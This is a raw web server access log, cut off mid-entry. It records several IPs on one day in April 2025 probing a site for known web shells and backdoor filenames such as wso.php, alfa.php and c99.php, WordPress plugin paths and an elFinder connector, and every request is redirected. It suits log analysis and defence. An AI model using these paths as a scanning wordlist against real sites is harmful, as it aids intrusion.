[14/Apr/2025:10:56:06 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:07 -0400] "GET /home/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:07 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:07 -0400] "GET /wp-content/plugins/upboxtn/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:08 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:08 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:08 -0400] "GET /gzak2w.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:09 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:09 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:10 -0400] "GET /wp/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:10 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:10 -0400] "GET /wp-admin/themes/config HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:11 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:11 -0400] "GET /wp-content/plugins/efhkgws/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:12 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:12 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:13 -0400] "GET /components/com_jea/views/form/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:13 -0400] "GET /wp-content/plugins/eblovwl/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:14 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:14 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:14 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:15 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:15 -0400] "GET /wp-content/plugins/dapeasyinstaller/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:16 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:17 -0400] "GET /wp-includes/random_compat/bala.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:17 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:18 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:19 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:20 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:56:20 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [14/Apr/2025:11:05:58 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 185.196.220.113 - - [14/Apr/2025:11:20:20 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [14/Apr/2025:11:20:24 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [14/Apr/2025:11:20:28 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [14/Apr/2025:11:20:30 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [14/Apr/2025:11:20:35 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [14/Apr/2025:11:20:38 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 197.144.52.26 - - [14/Apr/2025:11:35:54 -0400] "GET /inje3ctor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:35:56 -0400] "GET /saudi.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:35:59 -0400] "GET /wso.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:02 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:08 -0400] "GET /my_alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:11 -0400] "GET /uploader.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:14 -0400] "GET /up.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:16 -0400] "GET /hacked.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:20 -0400] "GET /c99.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:23 -0400] "GET /priv8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:25 -0400] "GET /Navir.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:28 -0400] "GET /cmd13.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:30 -0400] "GET /inc20k1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:33 -0400] "GET /1index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:35 -0400] "GET /404.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:37 -0400] "GET /swm.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:39 -0400] "GET /wp.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:40 -0400] "GET /doc.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:42 -0400] "GET /shx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:44 -0400] "GET /ws.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:47 -0400] "GET /m.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:49 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:51 -0400] "GET /LEAF.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:53 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:55 -0400] "GET /mailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:36:58 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:01 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:03 -0400] "GET /leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:06 -0400] "GET /x.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:09 -0400] "GET /srx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:12 -0400] "GET /1337.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:15 -0400] "GET /xx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:18 -0400] "GET /XxX.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:21 -0400] "GET /lf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:25 -0400] "GET /alex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:30 -0400] "GET /new.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:34 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:38 -0400] "GET /gaza.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:41 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:44 -0400] "GET /3index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:47 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:49 -0400] "GET /wso1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:52 -0400] "GET /bb.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:37:55 -0400] "GET /Lux.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:35:10 -0400] "GET /shell4.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:35:13 -0400] "GET /ups.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:35:16 -0400] "GET /ru.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:35:19 -0400] "GET /if.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:35:22 -0400] "GET /vuln.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:35:28 -0400] "GET /fw.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:35:33 -0400] "GET /skipper.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:35:36 -0400] "GET /skippershell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:35:40 -0400] "GET /tttt.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:35:44 -0400] "GET /tshop.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:35:47 -0400] "GET /alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.52.26 - - [14/Apr/2025:11:35:50 -0400] "GET /shell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 185.196.220.113 - - [14/Apr/2025:11:20:43 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [14/Apr/2025:11:20:45 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [14/Apr/2025:11:20:48 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [14/Apr/2025:11:20:50 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 194.38.23.16 - - [14/Apr/2025:11:24:29 -0400] "GET /sites/all/libraries/elfinder/connectors/php/connector.php HTTP/1.1" 301 795 "-" "ALittle Client" 197.144.52.26 - - [14/Apr/2025:11:37:59 -0400] "GET /haxor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 52.164.203.120 - - [14/Apr/2025:11:57:10 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:11 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:12 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:13 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:13 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:14 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:15 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:15 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:16 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:16 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:17 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:18 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:18 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:19 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:19 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:20 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:21 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:21 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:22 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:22 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:23 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:23 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:24 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:24 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:25 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:26 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:26 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:27 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:28 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:29 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:29 -0400] "GET /wp-includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:29 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:30 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:31 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:32 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:32 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:33 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 20.121.186.102 - - [14/Apr/2025:11:57:34 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.164.203.120 - - [14/Apr/2025:11:57:34 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:34 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 20.121.186.102 - - [14/Apr/2025:11:57:34 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.121.186.102 - - [14/Apr/2025:11:57:35 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.164.203.120 - - [14/Apr/2025:11:57:35 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 20.121.186.102 - - [14/Apr/2025:11:57:35 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.121.186.102 - - [14/Apr/2025:11:57:35 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.121.186.102 - - [14/Apr/2025:11:57:36 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.164.203.120 - - [14/Apr/2025:11:57:36 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 20.121.186.102 - - [14/Apr/2025:11:57:36 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.164.203.120 - - [14/Apr/2025:11:57:37 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 20.121.186.102 - - [14/Apr/2025:11:57:37 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.121.186.102 - - [14/Apr/2025:11:57:37 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.164.203.120 - - [14/Apr/2025:11:57:38 -0400] "GET /wp-content/cloud.php HTTP/1.1" 301 795 "-" "-" 20.121.186.102 - - [14/Apr/2025:11:57:38 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.164.203.120 - - [14/Apr/2025:11:57:38 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:39 -0400] "GET /cgi-bin/404.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:39 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:40 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:41 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:41 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:42 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:42 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:43 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:43 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:44 -0400] "GET 